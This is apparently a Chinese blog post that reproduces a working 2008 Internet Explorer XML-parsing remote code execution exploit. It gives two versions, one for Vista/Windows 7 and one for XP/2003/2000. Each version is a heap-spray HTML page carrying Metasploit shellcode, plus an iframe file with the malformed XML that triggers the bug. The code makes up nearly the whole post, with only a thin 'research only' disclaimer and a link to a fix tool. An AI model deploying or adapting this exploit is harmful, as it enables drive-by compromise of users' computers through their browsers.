微软IE最新XML漏洞利用代码

最新推荐文章于 2019-06-25 15:39:28 发布

原创最新推荐文章于 2019-06-25 15:39:28 发布 · 106 阅读

·

0

·

CC 4.0 BY-SA版权

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文提供了一份针对微软IE浏览器XML解析漏洞的利用代码，适用于不同版本的操作系统，包括VISTA及以上版本和XP等旧版系统。该漏洞可用于远程攻击，但仅供技术研究使用，请勿用于非法目的。

微软IE最新XML漏洞利用代码，仅做技术研究，切勿搞破坏

适用于VISTA及更高版本操作系统的代码（VISTA/SERVER 2008/WINDOWS 7）：

ie-sploit.html

<html>

<script>

// k`sOSe 12/10/2008

// Tested on Vista SP1, Explorer 7.0.6001.18000 and Vista SP0,Explorer 7.0.6000.16386

// Heap spray address adjusted for Vista - muts / offensive-security.com

// http://secmaniac.blogspot.com/2008/12/ms-internet-explorer-xml-parsing-remote.html

// http://www.offensive-security.com/0day/iesploit-vista.rar

// windows/exec - 141 bytes

// http://www.metasploit.com

// EXITFUNC=seh, CMD=C:\WINDOWS\system32\calc.exe

var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u6163%u636c%u652e%u6578%u4100");

var block = unescape("%u0c0c%u0c0c");

var nops = unescape("%u9090%u9090%u9090");

while (block.length < 81920) block += block;

var memory = new Array();

var i=0;

for (;i<1000;i++) memory[i] += (block + nops + shellcode);

document.write("<iframe src=\"iframe.html\">");

</script>

</html>

iframe.html

<XML ID=I>

<X>

<C>

<![CDATA[

<image

SRC=http://ఌఌ.xxxxx.org

>

]]>

</C>

</X>

</XML>

<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>

<XML ID=I>

</XML>

<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>

</SPAN>

</SPAN>

适用于WINDOWS旧版本操作系统的代码（XP/2003/2000等）：

ie-sploit.html

<html>

<script>

// k`sOSe 12/10/2008 - tested on winxp sp3, explorer 7.0.5730.13

// windows/exec - 141 bytes

// http://www.metasploit.com

// EXITFUNC=seh, CMD=C:\WINDOWS\system32\calc.exe

var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u6163%u636c%u652e%u6578%u4100");

var block = unescape("%u0a0a%u0a0a");

var nops = unescape("%u9090%u9090%u9090");

while (block.length < 81920) block += block;

var memory = new Array();

var i=0;

for (;i<1000;i++) memory[i] += (block + nops + shellcode);

document.write("<iframe src=\"iframe.html\">");

</script>

</html>

iframe.html

<XML ID=I>

<X>

<C>

<![CDATA[

<image

SRC=http://ਊਊ.xxxxx.org

>

]]>

</C>

</X>

</XML>

<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>

<XML ID=I>

</XML>

<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>

</SPAN>

</SPAN>

仅供学习，请勿用作非法用途。

目前微软尚未对该漏洞发布相应的补丁，360安全卫士推出了一款修复工具可以对该漏洞进行修复，修复工具下载地址为http://dl.360safe.com/360fixmsxml.exe

评论

被折叠的条评论为什么被折叠?

到【灌水乐园】发言

查看更多评论

添加红包

成就一亿技术人!

hope_wisdom

发出的红包

实付元

使用余额支付

点击重新获取

扫码支付

钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。